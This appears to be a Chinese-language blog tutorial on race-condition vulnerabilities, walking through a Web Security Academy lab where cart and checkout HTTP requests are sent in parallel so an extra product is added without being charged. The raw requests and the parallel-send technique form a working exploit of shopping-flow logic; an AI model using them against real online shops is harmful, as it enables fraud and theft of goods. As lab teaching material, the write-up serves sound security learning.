Race conditions(条件竞速)为常见的漏洞,与业务逻辑缺陷有密切关系。当网站在没有足够保护措施的情况下同时处理请求时,就会发生这种情况。这可能会导致多个不同的执行绪同时互相影响而导致冲突,使应用程式中出现意外行为。
常见的攻击方法如下
- 饶过只限一次的申请
- 饶过爆力破解密码限制
- 饶过多步骤流程
- 单点请求
- 饶过基于时间的机制
3.饶过多步骤流程
同時向多個端點發送請求,很適合用在有多個步驟的流程,以購物車的例子來說,最常見的就是利用付款驗證後到訂單最終確認時的這段期間,偷塞更多商品
舉例如下,將商品放入購物車的請求如下
########### request ###########
POST /cart HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
productId=2&redir=PRODUCT&quantity=1
########### response ###########
HTTP/2 302 Found
Location: /product?productId=2
X-Frame-Options: SAMEORIGIN
Content-Length: 0
結帳的請求如下
########### request ###########
POST /cart/checkout HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
csrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V
########### response ###########
...omit...
Your order is on its way!
...omit...
購物車請求和結帳請求之間存在漏洞,因此有機會在結帳完成前,在購物車額外增加一個新商品,由於在進行結帳時來不及把新商品的金額算進去,因此即便多了一個商品,價格還是和之前一樣
為了使用這個漏洞,必須將以下放入購物車和結帳請求在同一個時間送出,可以用repeater group send in parallel
功能
POST /cart HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
productId=1&redir=PRODUCT&quantity=1
POST /cart/checkout HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
csrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V
由於請求扺達時間差的關係,同時送不一定會成功,可能要多試幾次,一旦成功就可以偷渡新商品
其他方法可参考 Race conditions | 牛的大腦